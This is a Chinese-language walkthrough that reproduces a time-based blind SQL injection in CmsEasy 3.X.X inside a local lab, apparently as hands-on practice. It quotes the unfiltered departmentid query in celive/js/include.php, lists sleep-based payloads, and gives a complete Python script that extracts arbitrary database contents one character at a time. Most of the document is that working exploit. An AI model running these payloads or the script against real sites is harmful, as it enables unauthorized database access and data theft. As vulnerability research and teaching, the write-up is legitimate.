易通SQL时间盲注复现
易通CMS是一个企业网站建站系统,本期带来其3.X.X版本中,前台SQL注入和后台文件上传的漏洞复现过程。
基础环境:
1. 虚拟机win2003搭建phpstudy作为web环境,IP为192.168.159.185。
2. CmsEasy V3.X.X 源码一份。
源码部署过程:
1. web环境的选择使用PHP 5.2.17+apache的环境。
2. 将易通CMS部署到网站根目录上
下载地址:http://pan.baidu.com/s/1dET5uY9
密码:shxn
解压完成后,将源代码直接放置win2003 的phpstudy的WWW根目录上。
3. 访问网站IP,进行搭建。
4. 根据提示,依次填写数据库帐号密码,数据库名,网站管理员帐号密码等。
5. 安装成功,会跳转到后台登录页面。
漏洞复现过程:
1. SQL注入点位置:http://IP/celive/js/include.php?cmseasylive=1111&departmentid=0
2. 下面是include.php的部分代码。
if (isset($_GET['departmentid'])) {
$departmentid = $_GET['departmentid'];
$activity_sql = "SELECT `id` FROM `".$config['prefix']."activity` WHERE `departmentid`='".$departmentid."' AND `operatorid`='".$operatorid."'";
$onlinelink2 = '';
@$result2 = $db->my_fetch_array($activity_sql);
分析代码,可以输入到参数departmentid的值会传递到$activity_sql去查询,此处没有做过滤,但也没有回显查询结果和爆错语句,因此可以尝试使用字符型的时间盲注。
3. 基本payload
include.php?cmseasylive=1111&departmentid=0' and sleep(5) AND '1'='1
include.php?cmseasylive=1111&departmentid=0'+and+if((%s)+regexp'^%s',sleep(5),0)+and+'1'='1"
4. 写个python脚本来跑时间盲注。
#-*-coding:utf-8-*-
import requests,string,time
url="http://127.0.0.1/cmseasy/uploads/celive/js/include.php?cmseasylive=1111&departmentid=0'+and+if((%s)+regexp'^%s',sleep(5),0)+and+'1'='1"
payloads=string.letters+string.digits+"_-:@.,"
def cmseasysql(sqli): #sqli为你输入的sql语句,如select database()
temp=''
for j in range(100):
l1=len(temp)
for payload in payloads:
payloadtmp=payload
payload=temp+payload
uri=url%(sqli,payload)
#print uri
startTime=time.time() #请求前记录初始时间
response=requests.get(uri)
if (time.time()-startTime)>5: #请求后时间差是否大于5
temp+=payloadtmp
print 'Get_Data:'+temp #方便查看结果,可注释
break
l2=len(temp)
if l1==l2: #此处是优化速度,跑到数据就不再循环,判断依据是长度
break
print temp
def runsqli(): #while循环:可以一直查询SQL语句
while(1):
sqli=raw_input("Input you sqli: ")
cmseasysql(sqli)
if __name__ == '__main__':
runsqli()
运行效果:
输入的语句,可以是select database(),select user(),select tables from information_schema...
5. 爆绝对路径漏洞。
小结:
本次漏洞复现主要是斗哥用来练手sql时间盲注和脚本的编写了,注入语句用的是正则+if函数来进行的,大家有什么更好的姿势也可以提出来交流交流,cmseasy原本有上传漏洞的,不过此次的版本对这个漏洞做了修改,没能复现出来。大家可以回去试试看哪个版本。